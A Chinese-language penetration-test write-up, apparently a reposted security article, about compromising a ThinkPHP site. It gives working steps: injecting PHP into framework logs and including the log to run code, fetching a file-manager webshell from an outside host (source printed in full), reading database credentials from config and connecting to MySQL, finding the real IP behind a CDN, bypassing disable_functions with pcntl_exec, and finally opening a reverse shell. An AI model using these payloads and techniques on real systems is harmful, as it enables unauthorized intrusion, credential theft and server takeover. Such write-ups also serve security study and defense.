由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。 



先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:

<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

8.png 

代码插⼊日志成功:



9.png
 

然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:

10.png
  



为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:

<?php

$mode = $_REQUEST['mode'];

if (strtoupper($mode) == 'READ') {
    $path = $_REQUEST['filename'];

    if (is_dir($path)) {
        $filenames = scandir($path);

        printf("Files of $path :\r\n\r\n");
        foreach ($filenames as $filename) {
            if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) {
                printf("% -65s [dir]\r\n", $filename);
            }
            else {
                printf("% -70s\r\n", $filename);
            }
        }
    }
    else {
        $filecontent = file_get_contents($path);
        echo $filecontent;
    }
}

elseif (strtoupper($mode) == 'WRITE') {
    $filename = $_REQUEST['filename'];
    $content = $_REQUEST['content'];
    if (file_put_contents($filename, $content)) {
        echo 'write success.';
    }
    else {
        echo 'write fail.';
    }
}

elseif (strtoupper($mode) == 'MKDIR') {
    $dir = $_REQUEST['dir'];
    if (mkdir($dir)) {
        echo 'mkdir success.';
    }
    else {
        echo 'mkdir fail.';
    }
}

elseif (strtoupper($mode) == 'RM') {
    $filename = $_REQUEST['filename'];
    if (is_file($filename)) {
        if (unlink($filename)) {
            echo 'rm file success.';
        }
        else {
            echo 'rm file fail.';
        }
    }
    elseif (is_dir($filename)) {
        if (rmdir($filename)) {
            echo 'rm dir success.';
        }
        else {
            echo 'rm dir fail';
        }
    }
    else {
        echo 'unknown error, file may not exist.';
    }
}

else {
    echo "wrong mode.";
}

于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:



11.png
 

好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:

<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:

12.png  

 通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:



 13.png 

⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:

14.png
 

由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。 



思路重新回到目标 php 环境的禁⽤用函数上来。



由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。 



先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:

 

 15.png  

所以试试执⾏:

 

<?phpvar_dump(ini_get('disable_functions'));

来查看禁用的函数有哪些,得到结果:



16.png
 

即这些函数被禁用:

 

passthru
exec
system 
chroot 
chgrp 
chown 
shell_exec
popen
ini_alter
ini_restore
dl
openlog
syslog
readlink
symlink
popepassthru



黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:

#!/bin/bash 
id > /tmp/success

 



再来执行 PHP 代码:

<?php 
switch (pcntl_fork()) {
  case 0:
    pcntl_exec('/bin/bash', ['/tmp/exec.sh']);
    exit(0);

  default:
break; }

如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:



 17.png  

最后重复上述步骤,改成执行反弹 shell 的命令:



18.png 

文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70


admin 发布于  2019-6-11 18:52